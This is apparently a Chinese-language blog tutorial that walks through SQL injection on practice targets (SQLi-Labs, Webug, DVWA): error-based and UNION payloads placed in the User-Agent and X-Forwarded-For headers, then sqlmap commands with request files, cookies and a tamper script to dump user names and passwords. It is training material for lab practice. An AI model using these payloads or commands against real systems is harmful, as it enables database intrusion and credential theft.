User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#

image-20240720192018544

更改limit函数后的参数就可以依次查看users表id、username和password字段

HTTP头部注入1

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。
常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。

1.访问SQLi-Labs网站

进入less-18

image-20240720185937722

2.利用Burpsuite工具抓包

我们随便输个账号密码,将发送的数据包拦截:

image-20240720190019732

将数据包发送到Repeater模块,方便我们能够修改数据包并重复发送

3.寻找注入点

User-Agent:Mozilla/5.0......Firefox/46.0'

发现服务器端报错,说明我们可以基于报错注入的思路进行注入

User-Agent:Mozilla/5.0......Firefox/46.0','','')#

服务端未报错,说明我们可以利用HTTP请求头部“User-Agent”作为我们的注入点

注:如果在服务器端(靶机)上查看Less-18的php代码,会发现其中存在这样一段代码:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

我们的注入即:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0......Firefox/46.0','','')#', '$IP', $uname)";

因为输入点有三个,所以我们在“ ' '”后边还要加上“ , ' ' , ' ' ”

4.获取网站当前所在数据库的库名

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',database())),'','')#

基于报错注入的HTTP头部注入

image-20240720191041560

可以发现网站当前所在数据库的库名为“security”

5.获取数据库security的全部表名

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1))),'','')#

image-20240720191247996

更改limit函数后的参数,可以依次发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

6.获取users表的全部字段名

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

image-20240720191739256

更改limit函数后的参数,可以依次发现数据表users内含有的字段有“id”“username”“password”

7.获取users表id、username和password字段的全部值

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#

image-20240720192018544

更改limit函数后的参数就可以依次查看users表id、username和password字段

HTTP头部注入2

1.访问Webug网站

搭建好靶场后(或者使用在线靶场)我们进入webug第五关:

image-20240724103857564

2.利用Burpsuite工具抓包

访问关卡,将发送的数据包拦截:

image-20240724104758485

将数据包发送到Repeater模块,方便我们能够修改数据包并重复发送

3.寻找注入点

User-Agent:Mozilla/5.0......Firefox/46.0'

服务器端没有报错

我们自己构造一个HTTP头:X-Forwarded-For

X-Forwarded-For:a'

发现服务器端报错,说明我们可以基于报错注入的思路进行注入

image-20240724105610847

4.判断网站查询的字段数

X-Forwarded-For:order by 2

正常显示

X-Forwarded-For:order by 3

正常显示

X-Forwarded-For:order by 4

正常显示

X-Forwarded-For:order by 5

报错,因此可以判断网站查询的字段数为4

5.判断网站的回显位置

X-Forwarded-For:union select 1,2,3,4

发现2,3,4的位置可以回显:

image-20240724110110015

6.获取网站当前所在的数据库的库名

X-Forwarded-For:union select 1,database(),3,4

image-20240724110225913

可以发现网站当前所在数据库的库名为“pentesterlab”

7.获取pentesterlab数据库中所有的表名

X-Forwarded-For:union select 1,databse(),3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'

image-20240724110539759

可以发现数据库pentesterlab内含有的表名有“comment”“flag”“goods”“user”

8.获取flag表中的字段名

X-Forwarded-For:union select 1,databse(),3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'

image-20240724110755711

可以发现数据表flag内含有的字段有“id”“flag”

9.获取flag表中的flag字段的内容

X-Forwarded-For:union select 1,databse(),3,concat_ws(',',d,flag) from pentesterlab.flag limit 0,1

image-20240724111235822

得到了flag的值

SQLMAP基础使用1

SQLMAP是一个开源的自动化SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。
SQLMAP的基本功能包括:判断可注入的参数、判断可以使用哪一种SQL注入技术进行注入、判断识别数据库的类型以及根据用户的选择从数据库中读取数据。
SQLMAP支持的注入技术包括以下五种:
(1)基于布尔的盲注:根据返回页面判断条件真假的注入。
(2)基于时间的盲注:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
(4)基于联合查询的注入:可以使用UNION的情况下的注入。
(5)堆查询注入:同时执行多条语句的注入。
SQLMAP支持的数据库类型主要包括一些关系型数据库(RMDBS),如MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、Informix、HSQLDB等。

1.访问SQLi-Labs网站

进入less-3

image-20240724111939381

根据提示,我们使用GET请求上传参数“id”,当id=1时,页面显示id=1的用户名Dump、密码Dump:

image-20240724112000397

2.启动SQLMAP

在SQLMAP程序所在路径下启动Windows操作系统的命令行工具cmd:

image-20240724112146572

使用以下命令可以启动SQLMAP帮助:

python sqlmap.py -h

3.寻找注入点

使用以下命令自动寻找网站的注入点,并获取网站及后台数据库的基本信息:

python sqlmap.py -u http://[靶机IP]/sqli-labs/Less-3/?id=1

-u 指定URL

image-20240724112537381

看起来后端DBMS是“MySQL”。您想跳过特定于其他DBMS的测试有效载荷吗?Y(不使用其他的数据库payload,节省扫描时间)

对于其余的测试,您是否希望包括扩展提供的级别(1)和风险(1)值的“MySQL”的所有测试?Y

image-20240724112745104

GET参数“id”易受攻击。你想继续测试其他参数(如果有的话)吗?N(不用测试其他参数,节省扫描时间)

image-20240724113411427

可以发现参数“id”可以作为注入点

4.获取所有数据库的库名

python sqlmap.py -u http://[靶机IP]/sqli-labs/Less-3/?id=1 --dbs

image-20240724115657021

可以发现搭建网站的主机含有的数据库名有“challenges”“dvwa”“information_schema”“mysql”“pentesterlab”“performance_schema”“security”“sqlilabs”“test”

使用以下命令获取网站当前所在数据库的库名:

python sqlmap.py -u http://[靶机IP]/sqli-labs/Less-3/?id=1 --current-db

5.获取security数据库中所有的表名

python sqlmap.py -u http://[靶机IP]/sqli-labs/Less-3/?id=1 -D security --tables

image-20240724121321345

可以发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

6.获取users表的全部字段名

python sqlmap.py -u http://[靶机IP]/sqli-labs/Less-3/?id=1 -D security -T users --columns

image-20240724121957995

可以发现数据表users内含有的字段有“id”“username”“password”

7.获取users表id、username和password字段的全部值

python sqlmap.py -u http://[靶机IP]/sqli-labs/Less-3/?id=1 -D security -T users -C id,username,password --dump

image-20240724123111906

可以查看到users表中所有id、username和password字段

SQLMAP基础使用2

1.访问SQLi-Labs网站

进入less-3

image-20240724142553713

根据提示,我们使用GET请求上传参数“id”,当id=1时,页面显示id=1的用户名Dump、密码Dump:

image-20240724142615106

2.利用Burpsuite工具抓包

访问关卡,将发送的数据包拦截:

image-20240724142956794

我们将数据包保存到.txt格式的文件中:

image-20240724144720573

我这里直接将数据包内容保存到了sqlmap-master工具同一文件夹中,方便调用

image-20240724144829108

3.启动SQLMAP寻找注入点

python sqlmap.py -r 1.txt

-r 指定文件

image-20240724152153383

可以发现参数“id”可以作为注入点

4.获取所有数据库的库名

python sqlmap.py -r 1.txt --dbs

image-20240724152326311

可以发现搭建网站的主机含有的数据库名有“challenges”“dvwa”“information_schema”“mysql”“pentesterlab”“performance_schema”“security”“sqlilabs”“test”

使用以下命令获取网站当前所在数据库的库名:

python sqlmap.py -r 1.txt --current-db

5.获取security数据库中所有的表名

python sqlmap.py -r 1.txt -D security --tables

image-20240724152834060

可以发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

6.获取users表的全部字段名

python sqlmap.py -r 1.txt -D security -T users --columns

image-20240724152956180

可以发现数据表users内含有的字段有“id”“username”“password”

7.获取users表id、username和password字段的全部值

python sqlmap.py -r 1.txt -D security -T users -C id,username,password --dump

image-20240724153118198

可以查看到users表中所有id、username和password字段

SQLMAP进阶使用1

使用SQLMAP对存在POST注入点的网站进行自动化注入时,通常可以采用以下简便方法:利用Burpsuite抓包并保存HTTP request至文本文档,再利用sqlmap -r命令从文本文档中读取HTTP request并实施注入。
注入时,可以利用 --technique参数指定SQLMAP使用的探测技术,B表示布尔盲注,T表示时间盲注(延迟注入),E表示报错注入,U表示联合查询注入,S表示堆查询注入;利用 -v参数指定显示等级,当取值大于等于3时,将显示SQLMAP所使用的payload详情。

1.访问SQLi-Labs网站

进入less-12

image-20240813182110355

2.利用Burpsuite工具抓包

我们随便输个账号密码,将发送的数据包拦截:

image-20240813182318518

我们将数据包保存到.txt格式的文件中:

image-20240813182456313

我这里直接将数据包内容保存到了sqlmap-master工具同一文件夹中,方便调用

3.启动SQLMAP寻找注入点

python sqlmap.py -r 1.txt --technique "U" -v 3

--technique "U"表示使用基于联合查询的技术;

-v 表示显示等级,当取值大于等于3时,将显示SQLMAP检测过程中所使用的payload详情

image-20240813183101190

可以发现参数“uname”可以作为注入点

4.获取所有数据库的库名

python sqlmap.py -r 1.txt --technique "U" -v 3 --dbs

image-20240724152326311

可以发现搭建网站的主机含有的数据库名有“challenges”“dvwa”“information_schema”“mysql”“pentesterlab”“performance_schema”“security”“sqlilabs”“test”

使用以下命令获取网站当前所在数据库的库名:

python sqlmap.py -r 1.txt --technique "U" -v 3 --current-db

5.获取security数据库中所有的表名

python sqlmap.py -r 1.txt --technique "U" -v 3 -D security --tables

image-20240724152834060

可以发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

6.获取users表的全部字段名

python sqlmap.py -r 1.txt --technique "U" -v 3 -D security -T users --columns

image-20240724152956180

可以发现数据表users内含有的字段有“id”“username”“password”

7.获取users表id、username和password字段的全部值

python sqlmap.py -r 1.txt --technique "U" -v 3 -D security -T users -C id,username,password --dump

image-20240724153118198

可以查看到users表中所有id、username和password字段

SQLMAP进阶使用2

Cookie,指某些网站为了辨别用户身份而储存在用户本地终端上的数据。Cookie在Web应用中至关重要,用户的唯一标识session id也是存在cookie中的。
利用SQLMAP对目标网站进行检测时,默认是不带cookie的,在一些情况下发出去的请求可能会被服务器拒之门外。这时,我们需要带上cookie才能进行SQL注入检测。

1.访问DVWA网站

进入dvwa靶场,并将“DVWA Security”设置为“Low”,打开“SQL Injection”模块进入SQL注入训练模块:

image-20240813185435865

2.利用Burpsuite工具抓包

我们随便输个“User ID”,将发送的数据包拦截:

image-20240813185644456

我们将Cookie字段复制,作为下一步为SQLMAP的 --cookie参数赋值

(这里可以发现id注入点是由GET请求赋值的,因此可以不用保存数据包)

3.启动SQLMAP寻找注入点

python sqlmap.py -u "http://[靶机IP]/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "[由Burpsuite拦截的HTTP请求包的cookie字段]"

image-20240813190710614

可以发现参数“id”可以作为注入点

注意:利用SQLMAP对目标网站进行检测时,默认是不带cookie的,在本例中会出现网站重定向的问题而导致检测失败。为避免此问题,需要带上cookie字段才能进行SQL注入检测。

4.获取所有数据库的库名

python sqlmap.py -u "http://[靶机IP]/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "[由Burpsuite拦截的HTTP请求包的cookie字段]" --dbs

image-20240813190908727

可以发现搭建网站的主机含有的数据库名有“dvwa”“information_schema”

使用以下命令获取网站当前所在数据库的库名:

python sqlmap.py -u "http://[靶机IP]/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "[由Burpsuite拦截的HTTP请求包的cookie字段]" --current-db

image-20240813191014948

5.获取dvwa数据库中所有的表名

python sqlmap.py -u "http://[靶机IP]/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "[由Burpsuite拦截的HTTP请求包的cookie字段]" -D dvwa --tables

image-20240813195231762

可以发现数据库dvwa内含有的表名有“guestbook”“users”

6.获取users表的全部字段名

python sqlmap.py -u "http://[靶机IP]/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "[由Burpsuite拦截的HTTP请求包的cookie字段]" -D dvwa -T users --columns

image-20240813195350787

可以发现数据表users内含有的字段有“Column”“Type”

7.获取users表user和password字段的全部值

python sqlmap.py -u "http://[靶机IP]/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "[由Burpsuite拦截的HTTP请求包的cookie字段]" -D dvwa -T users -C user,password --dump

image-20240813195704272

可以查看到users表中所有user和password字段

SQLMAP进阶使用3

tamper脚本是SQLMAP中用于绕过waf或应对网站过滤逻辑的脚本。SQLMAP自带了一些tamper脚本,可以在tamper目录下查看它们。用户也可以根据已有的tamper脚本来编写自己的tamper脚本(绕过逻辑)。

1.查看Tamper文件

打开“sqlmap-master”文件夹下的“tamper”文件夹,使用Notepad++查看其中的“space2comment.py”的内容:

image-20240814101143561

这段代码为space2comment.py脚本文件的核心代码,其作用是将SQLMAP检测目标时所使用的payload中的空格全部替换成注释

2.查看SQLMAP调用tamper脚本文件space2comment.py的过程

在命令行工具cmd中输入以下命令,对SQLi-Labs网站的Less-1执行SQL注入检测:

python sqlmap.py -u http://[靶机IP]/sqli-labs/Less-1/?id=1 --tamper space2comment.py -v 3

检测过程中可以观察到,SQLMAP检测目标时使用的payload中空格已被替换成/**/,说明tamper脚本space2comment.py调用成功!

总结:

SQL注入就是一个巨大的套娃,只要理解了SQL注入的基本原理与思路你就已经明白了大部分的SQL注入方法了。

posted @ 2024-08-14 10:19  Super_Snow_Sword  阅读(40)  评论(2编辑  收藏  举报